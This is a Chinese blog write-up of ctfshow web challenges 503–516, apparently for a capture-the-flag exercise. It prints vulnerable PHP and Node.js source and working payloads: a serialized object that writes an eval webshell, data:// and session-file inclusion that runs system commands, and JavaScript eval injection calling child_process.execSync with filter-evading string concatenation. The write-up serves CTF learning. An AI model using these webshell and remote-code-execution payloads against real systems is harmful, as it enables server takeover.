ctfshow web入门 中期测评 web503--web516(无web511--web514)

web503

看了之前的文件的发现都没办法利用了

在这里插入图片描述
这个页面的源码发现了

layui.use(['layer', 'form'], function(){
  var layer = layui.layer
  ,form = layui.form;
  form.on('submit(admin_settings)', function(data){
  	$.ajax({
      url:'api/admin_settings.php',
      dataType:"json",
      type:'post',
      data:{
        title:data.field['title'],
        copy_right:data.field['copy_right'],
        beian:data.field['beian'],
        seo:data.field['seo']
      },
      success:function(data){
        
        layer.alert(data.msg, function(index){
		  location.reload();
		});  
      }

    });
    return false;
  });
});

layui.use('element', function(){
  var element = layui.element;
});
layui.use('upload', function(){
  var upload = layui.upload;
   
  var uploadInst = upload.render({
    elem: '#logo' 
    ,url: 'api/admin_upload.php' 
    ,done: function(data){
    	layer.alert(data.msg, function(index){
		  location.reload();
		});
    }
  });
});
function change_avatar(){
	$('#avatar').toggle();
}
?action=../api/admin_upload
<?php

session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	$arr = $_FILES["file"];
	if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 )
	{
		$arr["tmp_name"];
		$filename = md5($arr['name']);       //传入的文件名被MD5
		$ext = pathinfo($arr['name'],PATHINFO_EXTENSION);     //获取文件扩展名
		if(!preg_match('/^php$/i', $ext)){
			$basename = "../img/".$filename.'.' . $ext;     
			move_uploaded_file($arr["tmp_name"],$basename); //文件被移动到/var/www/html/img
			$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));
			$config['logo']=$filename.'.' . $ext;
			file_put_contents(__DIR__.'/../config/settings', serialize($config));
			$ret['msg']='文件上传成功';
		}
		
	}else{
		$ret['msg']='文件上传失败';
	}
	
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}
?action=../api/admin_db_backup
<?php

session_start();

include('../render/db_class.php');
error_reporting(0);
$user= $_SESSION['user'];
$pre=__DIR__.'/../backup/'.date_format(date_create(),'Y-m-d').'/db.';
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){
	extract($_POST);
	if(file_exists($pre.$db_format)){      
			$ret['msg']='数据库备份成功';
			die(json_encode($ret));
	}

	if(preg_match('/^(zip|tar|sql)$/', $db_format)){
		shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.md5($pre.$db_format));
		if(file_exists($pre.$db_format)){
			$ret['msg']='数据库备份成功';
		}else{
			$ret['msg']='数据库备份失败';
		}
	}else{
		$ret['msg']='数据库备份失败';
	}
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

file_exists触发phar反序列化

<?php


error_reporting(0);
class db{
	
	public $db;
	public $log;
	public $sql;
	public $username='root';
	public $password='root';
	public $port='3306';
	public $addr='127.0.0.1';
	public $database='ctfshow';
	public function __construct(){
		$this->log=new dbLog();
		$this->db=$this->getConnection();
	}

	public function getConnection(){
		 
		return new mysqli($this->addr,$this->username,$this->password,$this->database);
	}

	public  function select_one($sql){
		$this->sql=$sql;
		$result=$this->db->query($sql);
		if($result){
			return $result->fetch_object();
		}

	}
	public  function select_one_array($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$result=$this->db->query($sql);
		if($result){
			return $result->fetch_assoc();
		}
	}
	public function update_one($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$this->db->query($sql);
		return $this->db->affected_rows;
	}

	public function __destruct(){
		$this->log->log($this->sql);
	}
}
class dbLog{
	public $sql;
	public $content;
	public $log;

	public function __construct(){
		$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
	}
	public function log($sql){
		$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
	}
	public function __destruct(){
		file_put_contents($this->log, $this->content,FILE_APPEND);
	}
}

思路

先打一个phar文件进去--》
在backup传参pre=/var/www/html/img&db_format=我们传入文件的md5文件名比如打的是aaa.phar
就传c54c75d1d14d4d656f5c33d25b3bfbaa加后缀phar

至于具体的操作怎么来先欠着不会phar反序列化

web504

在这里插入图片描述
有多的文件了
bushi,看不了源码了
在这里插入图片描述
在这个地方抓包观察一下
在这里插入图片描述

在这里插入图片描述

创建模版的地方抓包看看
在这里插入图片描述
找一下文件在哪里
在这里插入图片描述
发现上传在这里但是还是没有利用的点哇,我们之前序列化写马成功了,现在看看那
在这里插入图片描述
在这里插入图片描述
诶还是没成功,路径改改
在这里插入图片描述
终于getshell
在这里插入图片描述
EXP是这个

<?php
class dbLog{
	public $content='<?=eval($_POST[1]);?>';
	public $log='/var/www/html/ma.php';

	public function __destruct(){
		file_put_contents($this->log, $this->content,FILE_APPEND);
	}
}
echo urlencode(serialize(new dbLog()));
?>

web505

进入页面发现有个文件查看又可以看源码了
在这里插入图片描述
看一下源码先

<?php

session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){

	extract($_POST);
	if($debug==1 && preg_match('/^user/', file_get_contents($f))){
		include($f);
	}else{
		$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
	}
	$ret['msg']='查看成功';
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

这里可以直接写马,用POST覆盖,要使得文件包含
已知文件在templates里面,然后在
url/api/api/admin_file_view.php传参
在这里插入图片描述

web506

api/admin_file_view.php
<?php


session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){

	extract($_POST);
	$ext = substr($f, strlen($f)-3,3);
	if(preg_match('/php|sml|phar/i', $ext)){
		$ret['msg']='请不要使用此功能';
		die(json_encode($ret));
	}
	if($debug==1 && preg_match('/^user/', file_get_contents($f))){
		include($f);
	}else{
		$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
	}
	$ret['msg']='查看成功';
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

文件后缀名字需要改一下
在这里插入图片描述

在这里插入图片描述

web507

<?php

session_start();

error_reporting(0);
$user= $_SESSION['user'];
$ret = array(
		"code"=>0,
		"msg"=>"查询失败",
		"count"=>0,
		"data"=>array()
	);
if($user){

	extract($_POST);
	$ext = substr($f, strlen($f)-3,3);
	if(preg_match('/php|sml|phar/i', $ext)){
		$ret['msg']='请不要使用此功能';
		die(json_encode($ret));
	}
	if($debug==1 && preg_match('/^user/', file_get_contents($f))){
		include($f);
	}else{
		$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));
	}
	$ret['msg']='查看成功';
	die(json_encode($ret));

}else{
	$ret['msg']='请登录后使用此功能';
	die(json_encode($ret));
}

我上传文件并没有成功
直接读取用data协议

debug=1&f=data://test/palin,user<?php+system("tac /f*");

在这里插入图片描述
但是这是为什么呢,文件都是一模一样的

web508

在这里插入图片描述

上传头像这个地方其实是可以上传木马的
这个头像的位置在临时文件下面
/tmp/sess_cookie值

url/api/admin_file_view.php

POST:
debug=1&f=/tmp/sess_s4k5igq6j7ccld43846e2nots5&1=echo `tac /f*`;

在这里插入图片描述

web509

没有禁sess还是像上题一样

web510

一样的打法

web515

var express = require('express');
var _= require('lodash');
var router = express.Router();

/* GET users listing. */
router.get('/', function(req, res, next) {
  res.render('index', { title: '鎴戞槸澶嶈鏈�' });
});

router.post('/',function(req,res,next){
	if(req.body.user!=null){
		msg = req.body.user;
		if((msg.match(/proto|process|require|exec|var|'|"|:|\[|\]|[0-9]/))!==null || msg.length>40){
		  	res.render('index', { title: '鏁忔劅淇℃伅涓嶅璇�' });
		}else{
			res.render('index', { title: eval(msg) });
		}
	}else{
		res.render('index', { title: '鎴戞槸澶嶈鏈�' });
	}
	 
});
module.exports = router;

在这里插入图片描述

在路由index.php中POST传参user=...

那么这里是是js的RCE
首先GET传参没有过滤
POST传参user有部分过滤

https://46e2a8d3-92b0-432e-8fc2-8f47b7a2da0b.challenge.ctf.show/index.php?b=require("child_process").execSync("tac /f*")
POST:
user=eval(req.query.b) //执行GET传参的b参数

当然也可以直接POST传参

在这里插入图片描述

user=eval(req.body.b)&b=require("child_process").execSync("tac /f*")

web516

if(user!==undefined){
		ctx.body='<h3>Hello '+user[0].username+'</h3> your name is: '+user[0].username+' your id is: '+user[0].id+ ' your password is: '+eval('md5('+user[0].password+')');
	}else{
		ctx.render('/');
	}

审计代码发现这里可以代码执行

app.use(async(ctx,next)=>{
	if(ctx.request.body.password!==undefined && (ctx.request.body.password.match(/proto|JSON|parse|process|require|exec|var|merge|response|body|request/))!==null){
		return
	}else{
		await next()
	}
	
})

审计这里发现了过滤的东西,使用引号绕过

username=aaaa&password=1)%2beval(('req'%2b'uire("chi'%2b'ld_proce'%2b'ss").ex'%2b'ecSync("echo $FLAG")')

一个很正常的绕过姿势
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

  • 6
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值